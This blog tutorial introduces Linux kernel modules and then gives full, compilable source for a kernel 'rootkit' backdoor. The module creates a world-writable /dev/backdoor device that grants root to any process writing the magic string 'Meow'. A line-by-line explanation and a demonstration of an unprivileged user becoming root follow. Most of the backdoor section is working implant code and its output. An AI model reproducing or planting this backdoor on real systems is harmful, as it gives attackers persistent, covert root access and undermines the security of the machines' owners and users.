Enitin Blog

Linux Kernel Rootkit

This article will be about what kernel modules are, how to create and load your own one and how to create a simple linux kernel rootkit.

What are linux kernel modules?

Before we start writing a kernel rootkit we have to understand what kernel modules are. Kernel modules extend the kernels functionality on demand at runtime without having to reboot the whole system. An example for a LKM is a device driver.

Modules reside in /usr/lib/modules/$(uname -r) with the extension ".ko" (kernel object). To list all currently loaded modules run "lsmod". This binary simply formats the output of /proc/modules. The columns display module name, size of module, use count (How many instances of the module are loaded) and module dependencies respectively.

Loading a module into the kernel is done by executing insmod [filename] [module options...] or modprobe [modulename] [module parameters...]. E.g. insmod some_module.ko or modprobe some_module.ko. Unloading is done by executing rmmod [modulename] or modprobe -r [modulename]. E.g. rmmod some_module or modprobe -r some_module.

What we are going to do?

First we are going to write a simple kernel module which just prints some text to the kernel log. After having understood the basics we are going to write a kernel module backdoor which creates a device under the /dev/ directory that gives the process, that writes a certain combination of bytes to it, root permissions.

What do we need?

Making an error while writing a kernel module can cause the system to crash. This means you should most likely use a VM for this if you don't want to reboot your computer everytime you didn't properly code something. For this article I'm going to use Ubuntu 20.04 with QEMU/KVM, but you are obviously free to use whatever distro and hypervisor you like. Make sure to update your system (apt update) and install the required header files for your current kernel: apt install linux-headers-$(uname -r) You can find these in /usr/src/linux-headers-$(uname -r) after installing. In addition to that also install the required build tools: apt install build-essential flex bison

Writing a simple kernel module

Let's start with a simple LKM. I'm going to create a file called "ne.c". This name has to match the entry in the Makefile mentioned later.

#include <linux/init.h> //__init & __exit macros
#include <linux/module.h> //MODULE_* macros & module_init() & module_exit()
#include <linux/printk.h> //printk()

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Enitin");
MODULE_DESCRIPTION("Neko");
MODULE_VERSION("0.1");

static int __init neko_init(void) {
    printk(KERN_INFO "Meow!\n");
    return 0;
}

static void __exit neko_exit(void) {
    printk(KERN_INFO "I still have 6 lives.\n");
}

module_init(neko_init);
module_exit(neko_exit);

Let's explain this step by step.

#include <linux/init.h> //__init & __exit macros
#include <linux/module.h> //MODULE_* macros & module_init() & module_exit()
#include <linux/printk.h> //printk()
Include the required headers. The comments within the code show you what each header includes.
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Enitin");
MODULE_DESCRIPTION("Neko");
MODULE_VERSION("0.1");

The "MODULE_*" part adds information about the module which can be displayed by the "modinfo" command. The different licensing types are documented in linux/module.h

The next two functions are always required.
static int __init neko_init(void) {
    printk(KERN_INFO "Meow!\n");
    return 0;
}

Here we are defining the function that is executed when the module is initialized/loaded into the kernel. When the function is executed it will print "Meow!" to the kernel log which can be viewed by running tail -f /var/log/kern.log. As kernel modules are not like your typical userspace program we can't just use "printf". We have to use the kernelspace function "printk". "KERN_INFO" is the log level being used. When a log level is not specified, "KERN_WARNING" is being used by default. (Unless a different different default has been set in the kernel itself.) Log levels are defined in linux/kern_levels.h. Which of the levels are being printed to the kernel log is configured using the sysctl file /proc/sys/kernel/printk. The numbers represent "current", "default", "minimum", "boot-time-default".

static void __exit neko_exit(void) {
    printk(KERN_INFO "I still have 6 lives.\n");
}

Unsurprisingly this is executed when the module is unloaded from the kernel.

module_init(neko_init);
module_exit(neko_exit);

This sets our custom functions to be executed when our module is loaded and unloaded.

Now that we have our code we can start compiling it. Compiling kernel modules is a bit different than how you would compile your usual userspace programs. We start by creating a Makefile...
obj-m += ne.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

...and then compiling it using "make". Make sure "ne.o" matches your C filename as mentioned before. In my case "ne.c". Great, we've built our first kernel module "ne.ko"! To see infos about our just compiled module run "modinfo ne.ko".

Now it's time to actually insert our module and see the magic happen. First run tail -f /var/log/kern.log to see kernel logs as they are printed. Then insert the module: insmod ne.ko Looking at the output we should see our init message now. If we get bored by the our module we can just unload it: rmmod ne.ko or modprobe -r ne.ko This should kick off the function we passed to module_exit().

Writing a backdoor

Now that we know how to write a simple kernel module it's time to do something more interesting like writing a kernel backdoor.

#include <linux/init.h> //__init & __exit macros
#include <linux/module.h> //MODULE_* macros & module_init() & module_exit()
#include <linux/printk.h> //printk()
#include <linux/device.h> //struct device & struct class & class_create() & device_create() & class_destroy() & device_destroy() & class_unregister()
#include <linux/fs.h> //inode struct & file struct & file_operations struct & register_chrdev() & unregister_chrdev() & MKDEV macro & copy_from_user() & prepare_creds() & commit_creds()
#include <linux/slab.h> //kmalloc() & kfree()
#include <linux/err.h> //PTR_ERR()
#include <linux/kdev_t.h> //MKDEV macro
#include <linux/uidgid.h> //kuid_t() & KUIDT_INIT macro & KGIDT_INIT macro

#define DEVICE_NAME "backdoor"
#define CLASS_NAME "bd"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Enitin");
MODULE_DESCRIPTION("Backdoor");
MODULE_VERSION("0.1");

static int majorNum;
static struct class *backdoorClass = NULL;
static struct device *backdoorDev = NULL;

static int backdoor_open(struct inode *inode, struct file *file);
static ssize_t backdoor_write(struct file *file, const char __user *buf, size_t len, loff_t *offset);
static int backdoor_release(struct inode *inode, struct file *file);
static int backdoor_udev(struct device *dev, struct kobj_uevent_env *env);

static struct file_operations fops = {
        .open = backdoor_open,
        .write = backdoor_write,
        .release = backdoor_release,
};

static int __init backdoor_init(void) {
        printk(KERN_INFO "Loading backdoor...\n");

        printk(KERN_INFO "Registering major number...\n");
        majorNum = register_chrdev(0, DEVICE_NAME, &fops);
        if (majorNum < 0) {
                printk(KERN_ALERT "Failed to major number\n");
                return majorNum;
        }

        printk(KERN_INFO "Registering device class...\n");
        backdoorClass = class_create(THIS_MODULE, CLASS_NAME);
        if (IS_ERR(backdoorClass)) {
                unregister_chrdev(majorNum, DEVICE_NAME);
                printk(KERN_ALERT "Failed to register device class\n");
                return PTR_ERR(backdoorClass);
        }

        backdoorClass->dev_uevent = backdoor_udev;

        printk(KERN_INFO "Registering device driver...\n");
        backdoorDev = device_create(backdoorClass, NULL, MKDEV(majorNum, 0), NULL, DEVICE_NAME);
        if (IS_ERR(backdoorDev)) {
                class_destroy(backdoorClass);
                unregister_chrdev(majorNum, DEVICE_NAME);
                printk(KERN_ALERT "Failed to create device driver\n");
                return PTR_ERR(backdoorDev);
        }

        return 0;
}

static void __exit backdoor_exit(void) {
        printk(KERN_INFO "Unloading backdoor...");
        device_destroy(backdoorClass, MKDEV(majorNum, 0));
        class_unregister(backdoorClass);
        class_destroy(backdoorClass);
        unregister_chrdev(majorNum, DEVICE_NAME);
}

static int backdoor_open(struct inode *pInode, struct file *pFile) {
        printk(KERN_INFO "Opening backdoor...\n");
        return 0;
}

static ssize_t backdoor_write(struct file *pFile, const char __user *buf, size_t len, loff_t *off) {
        int n;
        char *data;
        char magic[] = "Meow";
        struct cred *creds;
        kuid_t uid = KUIDT_INIT(0);
        kgid_t gid = KGIDT_INIT(0);

        data = (char *) kmalloc(len+1, GFP_KERNEL);
        if (!data) {
                printk(KERN_ALERT "Failed to allocate memory\n");
                return -1;
        }
        n = copy_from_user(data, buf, len);
        if (n != 0) {
                printk(KERN_ALERT "Failed to copy bytes from user\n");
                kfree(data);
                return -1;
        }
        if (memcmp(data, magic, strlen(magic)) != 0) {
                printk(KERN_INFO "Wrong magic bytes\n");
                kfree(data);
                return -1;
        }
        creds = prepare_creds();
        if (creds == NULL) {
                printk(KERN_ALERT "Failed to prepare credentials\n");
                kfree(data);
                return -1;
        }

        creds->uid = uid;
        creds->gid = gid;
        creds->euid = uid;
        creds->egid = gid;
        creds->suid = uid;
        creds->sgid = gid;
        creds->fsuid = uid;
        creds->fsgid = gid;

        commit_creds(creds);
        kfree(data);

        return len;
}

static int backdoor_release(struct inode *pInode, struct file *pFile) {
        printk(KERN_INFO "Closing backdoor...\n");
        return 0;
}

static int backdoor_udev(struct device *dev, struct kobj_uevent_env *env) {
        if(add_uevent_var(env, "DEVMODE=%#o", 0222)) {
                return -1;
        }
        return 0;
}

module_init(backdoor_init);
module_exit(backdoor_exit);

This is quite some code so let's break it down.

#include <linux/init.h> //__init & __exit macros
#include <linux/module.h> //MODULE_* macros & module_init() & module_exit()
#include <linux/printk.h> //printk()
#include <linux/device.h> //struct device & struct class & class_create() & device_create() & class_destroy() & device_destroy() & class_unregister()
#include <linux/fs.h> //inode struct & file struct & file_operations struct & register_chrdev() & unregister_chrdev() & MKDEV macro & copy_from_user() & prepare_creds() & commit_creds()
#include <linux/slab.h> //kmalloc() & kfree()
#include <linux/err.h> //PTR_ERR()
#include <linux/kdev_t.h> //MKDEV macro
#include <linux/uidgid.h> //kuid_t() & KUIDT_INIT macro & KGIDT_INIT macro

First include the required header files. The comments explain what every file includes.

#define DEVICE_NAME "backdoor"
#define CLASS_NAME "bd"

Then we define a few things: Device name and class name. The device name will be displayed under /dev/. (e.g. /dev/backdoor) The class name is will be displayed under /sys/devices/virtual/. (e.g. /sys/devices/virtual/bd) We are going to use them later in the code.

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Enitin");
MODULE_DESCRIPTION("Backdoor");
MODULE_VERSION("0.1");

Just like with the first example we add some information about the module.

static int majorNum;
static struct class *backdoorClass = NULL;
static struct device *backdoorDev = NULL;

"majorNum" will hold the major device number returned by "register_chrdev()". The kernel uses this number to dispatch execution to the appropriate driver. "backdoorClass" will hold the device class.

A class is a higher-level view of a device that abstracts out low-level implementation details.

static int backdoor_open(struct inode *inode, struct file *file);
static ssize_t backdoor_write(struct file *file, const char __user *buf, size_t len, loff_t *offset);
static int backdoor_release(struct inode *inode, struct file *file);
static int backdoor_udev(struct device *dev, struct kobj_uevent_env *env);

Next we declare the function definitions we are going to use in the file_operations struct that is passed into the register_chrdev() function later on.

static struct file_operations fops = {
    .open = backdoor_open,
    .write = backdoor_write,
    .release = backdoor_release,
};

Create a file_operations struct with the functions use to open, write and release the backdoor.

static int __init backdoor_init(void) {
        //...
        return 0;
}

Next we have to define the function that is executed when the backdoor is loaded into the kernel. The "__init" macro tells linux that all resources within this function can be freed after initialization. This will only be use with a static kernel module though.

printk(KERN_INFO "Loading backdoor...\n");

printk(KERN_INFO "Registering major number...\n");
majorNum = register_chrdev(0, DEVICE_NAME, &fops);
if (majorNum < 0) {
        printk(KERN_ALERT "Failed to major number\n");
        return majorNum;
}

"majorNum = register_chrdev(0, DEVICE_NAME, &fops);" is responsible for registering a character device. The first argument is 0 to signal that we want to assign the major number dynamically. As second argument we give the function the device name we want to have. The last argument will be a pointer to our file_operations struct we defined earlier. The function will return the dynamically generated major number on success and -ve errno on failure.

The name of this device has nothing to do with the name of the device in /dev. It only helps to keep track of the different owners of devices. If your module name has only one type of devices it's ok to use e.g. the name of the module here.

printk(KERN_INFO "Registering device class...\n");
backdoorClass = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(backdoorClass)) {
        unregister_chrdev(majorNum, DEVICE_NAME);
        printk(KERN_ALERT "Failed to register device class\n");
        return PTR_ERR(backdoorClass);
}

After we are done registering our character device it's time to create a class. The first argument is going to be THIS_MODULE, which is a pointer to the module struct we created with the "MODULE_*" macros. This is used to set the owner the class struct. As second parameter we pass CLASS_NAME to set the name of this class. The function returns a struct class pointer that can be used in calls to "device_create()". If an error occurs the function returns "ERR_PTR". We check if that's the case with the if statement. In case something went wrong we unregister the character device by calling "unregister_chrdev()" with the first parameter being the major number and the device name. Then we dereference the "backdoorClass" pointer using the "PTR_ERR" function to get the error value and return it.

backdoorClass->dev_uevent = backdoor_udev;
Now we need to set the function that is called when a device is added, removed from this class, or a few other things that generate uevents to add the environment variables. As only root is able to read and write to the device by default, we have to set the permissions so everyone can write to it. That's is going to be handled by our custom function "backdoor_udev()". I'm going to explain it more in depth later.
printk(KERN_INFO "Registering device driver...\n");
backdoorDev = device_create(backdoorClass, NULL, MKDEV(majorNum, 0), NULL, DEVICE_NAME);
if (IS_ERR(backdoorDev)) {
        class_destroy(backdoorClass);
        unregister_chrdev(majorNum, DEVICE_NAME);
        printk(KERN_ALERT "Failed to create device driver\n");
        return PTR_ERR(backdoorDev);
}

Next up we have to register the device by passing the struct class "backdoorClass" as first argument. This registers the struct class to the device. As second argument we just pass NULL because we don't have any parent struct device. The third argument is a combination out of the major and minor number. Next pass NULL again as fourth argument because we don't have/use any drvdata. The fifth argument is just the device name again. The function is going to return a struct device pointer on success or ERR_PTR on error. We make sure again that everything went okay by using an if statement. If something went wrong we destroy the class and unregister the character device and return the error value of "backdoorDev".

static void __exit backdoor_exit(void) {
        printk(KERN_INFO "Unloading backdoor...");
        device_destroy(backdoorClass, MKDEV(majorNum, 0));
        class_unregister(backdoorClass);
        class_destroy(backdoorClass);
        unregister_chrdev(majorNum, DEVICE_NAME);
}

Now we define what happens when the kernel module is unloaded. Make sure to destroy the device, unregister and destroy the class and unregister the character device.

static int backdoor_open(struct inode *pInode, struct file *pFile) {
        printk(KERN_INFO "Opening backdoor...\n");
        return 0;
}

Define the function which is executed when we open the backdoor character device. This is just going to print "Opening backdoor..." and return 0 to signal everything's okay.

static ssize_t backdoor_write(struct file *pFile, const char __user *buf, size_t len, loff_t *off) {
        //...
}

"backdoor_write" is the function called when we write to the backdoor character device. Arguments are: "struct file *pFile" which is a pointer to the file. "const char __user *buf" which is the data received from userspace. "__user" tells kernel developers that this is an pointer that holds untrusted data received from userspace. "size_t len" which holds the length of "char __user *buf". "loff_t *off" is the seek position. The function returns the bytes written.

char *data;
char magic[] = "Meow";
struct cred *creds;

Defines a few variables we are using in this function.

kuid_t uid = KUIDT_INIT(0);
kgid_t gid = KGIDT_INIT(0);

This will create a "kuid_t" struct via the "KUIDT_INIT" and "KGIDT_INIT" macros with user ID 0 and group ID 0.

data = (char *) kmalloc(len+1, GFP_KERNEL);
if (!data) {
        printk(KERN_ALERT "Failed to allocate memory\n");
        return -1;
}

We start by allocating kernel memory on the heap with the length of the data passed to use from userspace plus one, followed by a if statement which check if it was successful and returns -1 on error.

if (copy_from_user(data, buf, len) != 0) {
        printk(KERN_ALERT "Failed to copy bytes from user\n");
        kfree(data);
        return -1;
}

We have to get the data from userspace to kernelspace. We are doing so by calling "copy_from_user()" with the memory we just allocated, the userspace buffer and the length of the userspace data. The functions returns the number of bytes that could not be written. Now do a quick check if that's the case. If some data failed to copy to kernelspace free the memory we allocated and return -1.

if (memcmp(data, magic, strlen(magic)) != 0) {
        printk(KERN_INFO "Wrong magic bytes\n");
        kfree(data);
        return -1;
}

Now we verify if the user supplied "data" equals the magic bytes we set at the beginning of the function. If it doesn't equal free the memory and return from the function.

creds = prepare_creds();
if (creds == NULL) {
        printk(KERN_ALERT "Failed to prepare credentials\n");
        kfree(data);
        return -1;
}

Now comes the interesting part. To change the permissions of the process we have to create new credentials by calling "prepare_creds()" which returns a pointer to a "cred" struct. Now check if everything went fine. If not do the usual clean-up.

creds->uid = uid;
creds->gid = gid;
creds->euid = uid;
creds->egid = gid;
creds->suid = uid;
creds->sgid = gid;
creds->fsuid = uid;
creds->fsgid = gid;

Set all fields in the "cred" struct we created to the UID and GID we created before, which will gives us full root permissions.

commit_creds(creds);
kfree(data);

return len;

Commit the credentials to the currenty process, free the allocated memory and return the written bytes.

static int backdoor_release(struct inode *pInode, struct file *pFile) {
        printk(KERN_INFO "Closing backdoor...\n");
        return 0;
}

When the kernel module is unloaded we simply print "Closing backdoor...".

static int backdoor_udev(struct device *dev, struct kobj_uevent_env *env) {
        if(add_uevent_var(env, "DEVMODE=%#o", 0222)) {
                return -1;
        }
        return 0;
}

This is the function we did set in the struct class attribute "dev_uevent" before. We simply add a environment variable called "DEVMODE" and set it to the bitmask "0222". Which gives everyone on the system write permissions to the device. On error we return -1.

Now that we have the code we just compile it and load the module into the kernel. make insmod backdoor.ko This should have created the character device /dev/backdoor. Check if that's the case by running ls -la /dev/backdoor. The output should be:

c-w--w--w- 1 root root 237, 0 Mär 6 15:04 /dev/backdoor

We see everyone has write permission to the character device. Check your current permissions by running "id".

uid=1000(enitin) gid=1000(enitin) groups=1000(enitin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

And now we will see if our kernel backdoor actually works.

echo "Meow" > /dev/backdoor

Nothing seems to be happening. But if we take a look at our permissions, we are root now!

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(enitin)

I hope you had fun reading this article and learned something new. If you have any questions don't hesitate to write me a message on our discord server.

References & Inspirations: http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/ https://xcellerator.github.io/posts/linux_rootkits_01/ https://0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485